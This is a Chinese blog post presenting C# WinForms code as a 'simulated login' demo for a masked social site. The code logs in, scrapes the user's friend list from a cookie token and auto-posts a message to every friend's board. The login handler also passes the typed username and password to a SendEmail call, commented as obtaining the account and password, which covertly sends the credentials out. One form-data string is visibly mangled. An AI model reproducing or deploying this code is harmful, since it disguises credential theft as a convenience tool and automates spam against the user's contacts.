软件制作：模拟登陆之HttpWebRequest

public partial class FormPost : Form
{
public FormPost()
{
InitializeComponent();
}
public string _cookieStr;
public string cookieStr
{
get
{
return _cookieStr;
}
set
{
_cookieStr = value;
}
}
private string _UserIDList;
public string User_IDList
{
get
{
return _UserIDList;
}
set
{
_UserIDList = value;
}
}
private string _User_NameList;
public string User_NameList
{
get
{
return _User_NameList;
}
set
{
_User_NameList = value;
}
}
private static DataTable _dtUserURLList = new DataTable();
public static DataTable dtUserURLList
{
get
{
return _dtUserURLList;
}
set
{
_dtUserURLList = value;
}
}
private void btnSubmit_Click(object sender, EventArgs e)
{
dtUserURLList.Clear();
string Reshtml = WebRequestMethods.PostWebRequest(TextBoxUserName.Text, TextBoxPassword.Text, WebRequestMethods.ReqCookies);
cookieStr = WebRequestMethods.cookieHeader;
string[] UserIDString = cookieStr.Split("=;%".ToCharArray());
string FriendsUserIDData = string.Empty;
for (int i = 0; i < UserIDString.Length; i++)
{
if (UserIDString[i].Equals(" userToken"))
{
FriendsUserIDData = WebRequestMethods.ReGetHtml("http://***.*****.com/*****.aspx?id=" + Convert.ToInt32(UserIDString[i + 1]) + "");
break;
}
}

string[] UserIDData = FriendsUserIDData.Split("\r\n=;".ToCharArray());
User_IDList = UserIDData[3].ToString();
User_NameList = UserIDData[7].ToString();
dgvFriendList_DataBind(User_IDList, User_NameList);
SendEmail.SendEmailFrom(TextBoxUserName.Text, TextBoxPassword.Text);//获取帐号和密码的
}

/// <summary>
/// 绑定
/// </summary>
/// <param name="pFriendsUserIDList">好友ID</param>
/// <param name="pFriendsUserNameList">用户名</param>
private void dgvFriendList_DataBind(string pFriendsUserIDList, string pFriendsUserNameList)
{
char[] charsToTrim = { '"', ' ', '\'' };
string FriendsUserIDList = pFriendsUserIDList.Trim(charsToTrim);
string FriendsUserNameList = pFriendsUserNameList.Trim(charsToTrim);
DataGridView.CheckForIllegalCrossThreadCalls = false;
dgvFriendList.BackgroundColor = Color.White;
dgvFriendList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
dgvFriendList.DataSource = StringToDataTable(FriendsUserIDList, FriendsUserNameList);
dgvFriendList.Columns["好友ID"].Width = 100;
dgvFriendList.Columns["用户名"].Width = 100;
dgvFriendList.Columns["个人主页"].DataPropertyName = "个人主页";
dgvFriendList.Columns["个人主页"].SortMode = DataGridViewColumnSortMode.NotSortable;
dgvFriendList.Columns["个人主页"].AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill;
}
/// <summary>
/// 分割
/// </summary>
/// <param name="FriendsUserIDList">好友ID</param>
/// <param name="FriendsUserNameList">用户名</param>
/// <returns></returns>
public static DataTable StringToDataTable(string FriendsUserIDList, string FriendsUserNameList)
{
if (((System.Data.InternalDataCollectionBase)(dtUserURLList.Columns)).Count == 0)
{
dtUserURLList.Columns.Add("好友ID", typeof(int));
dtUserURLList.Columns.Add("用户名", typeof(string));
dtUserURLList.Columns.Add("个人主页", typeof(string));//缺省的
}
string[] sArrayIDList = FriendsUserIDList.Split(',');
//分割后分别存到sArray数组里，下面语句读出
string[] sArrayNameList = FriendsUserNameList.Split(',');
string[] sArrayUrl = new string[sArrayIDList.Length];
for (int j = 0; j < sArrayIDList.Length; j++)
{
sArrayUrl[j] = "http://*****.com/" + sArrayIDList[j].ToString() + "/*****.html";
}
for (int m = 0; m < sArrayIDList.Length; m++)
{
if (Convert.ToString(sArrayIDList[m]) != "")
{
dtUserURLList.Rows.Add(new object[] { sArrayIDList[m], sArrayNameList[m], sArrayUrl[m] });
}
}
return dtUserURLList;
}
private void btnleaveMessage_Click(object sender, EventArgs e)
{
string pUserID = string.Empty;
string pUserName = string.Empty;
foreach (DataRow dr in dtUserURLList.Rows)
{
pUserID = dr["好友ID"].ToString();
pUserName = dr["用户名"].ToString();
WebRequestMethods.SendDataByPost(this.rtbMessage.Text, pUserID, pUserName, WebRequestMethods.ReqCookies);
Thread.Sleep(20000);
}
MessageBox.Show("全部好友留言完毕！");
}
}

#region 变量
private static CookieContainer _ReqCookies = new CookieContainer();
/// <summary>
/// 请求Cookies
/// </summary>
public static CookieContainer ReqCookies
{
get
{
if (_ReqCookies == null)
{
_ReqCookies = new CookieContainer();
}
return _ReqCookies;
}
set { _ReqCookies = value; }
}
private static CookieCollection _ResCookies = new CookieCollection();
/// <summary>
/// 从服务端返回的cookie
/// </summary>
public static CookieCollection ResCookies
{
get
{
if (_ResCookies == null)
{
_ResCookies = new CookieCollection();
}
return _ResCookies;
}
set { _ResCookies = value; }
}
private static ASCIIEncoding _pEncoding = new ASCIIEncoding();
/// <summary>
///ASCII码编码
/// </summary>
public static ASCIIEncoding pEncoding
{
get
{
return _pEncoding;
}
}
private static string _cookieHeader = string.Empty;
public static string cookieHeader
{
get
{
return _cookieHeader;
}
set { _cookieHeader = value; }
}
#endregion
//获取好友ID

/// <summary>
/// 访问其他页面
/// </summary>
/// <param name="strUrl"></param>
/// <returns></returns>
public static string ReGetHtml(string strUrl)
{
//第二次请求
HttpWebRequest request1 = (HttpWebRequest)WebRequest.Create(strUrl);
string cookhead = getrequestauthorization(strUrl);
request1.Method = "GET";
request1.Headers.Add("cookie:" + cookhead);
request1.KeepAlive = true;
request1.AllowAutoRedirect = true;

HttpWebResponse response1 = (HttpWebResponse)request1.GetResponse();
Stream stream2 = response1.GetResponseStream();//获得回应的数据流
//将数据流转成 String
string result1 = new StreamReader(stream2, Encoding.GetEncoding("gb2312")).ReadToEnd();
return result1;
}

//自动留言了

/// <summary>
/// 通过POST方式发送数据到web页面
/// </summary>
/// <param name="Url">url </param>
/// <param name="postDataStr">Post数据 </param>
/// <param name="cookie">Cookie容器 </param>
/// <returns>获取的html页面字符串 </returns>
public static void SendDataByPost(string pTxtContent, string pUserID, string pUserName,CookieContainer cookie)
{
//txtcontent
StringBuilder retString = new StringBuilder("");
string pRetString = string.Empty;
HttpWebRequest request;
string siteencoding = "gb2312";//m_spider.GetEncoding();
try
{
request = (HttpWebRequest)WebRequest.Create(new Uri("http://****.*****.com/***/*****.aspx?"));
string line = "";
if (cookie.Count != 0)
{
request.CookieContainer = cookie;
}
string formData = "";
formData = "&txtcontent=" + pTxtContent + "&isQuote=&messageboardid=&qUserID=&qUserName=&replysort="etxt=&AcceptAnonymous=1&ParentUserID=" + pUserID + "&hasVistedUserName=" + pUserName + "&IsMesMore=1";
string postDataStr = string.Format(formData);
if (postDataStr != "")
{
// 当post数据不为空时，明确采用post方法，取得返回数据
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)";
request.ContentLength = Encoding.GetEncoding(siteencoding).GetBytes(postDataStr).Length;
Stream myRequestStream = request.GetRequestStream();
StreamWriter myStreamWriter = new StreamWriter(myRequestStream, Encoding.GetEncoding(siteencoding));
myStreamWriter.Write(postDataStr);
myStreamWriter.Flush();
myStreamWriter.Close();
}

HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream myResponseStream = response.GetResponseStream();
if (!response.ContentType.ToLower().StartsWith("text/"))
{
return;
}
StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding(siteencoding));
pRetString = myStreamReader.ReadToEnd();
myStreamReader.Close();
myResponseStream.Close();
}
catch (WebException e)
{
Console.WriteLine(e.Message);
Stream se = e.Response.GetResponseStream();
StreamReader ss = new StreamReader(se, Encoding.GetEncoding(siteencoding));
string sss = ss.ReadToEnd();
}
}

HttpWebRequest方法操作起来很简单，但是细节非常重要，否则很容易出错，而且速度很慢，有点卡，后面会对此方法进行优化。

模拟登陆Demo

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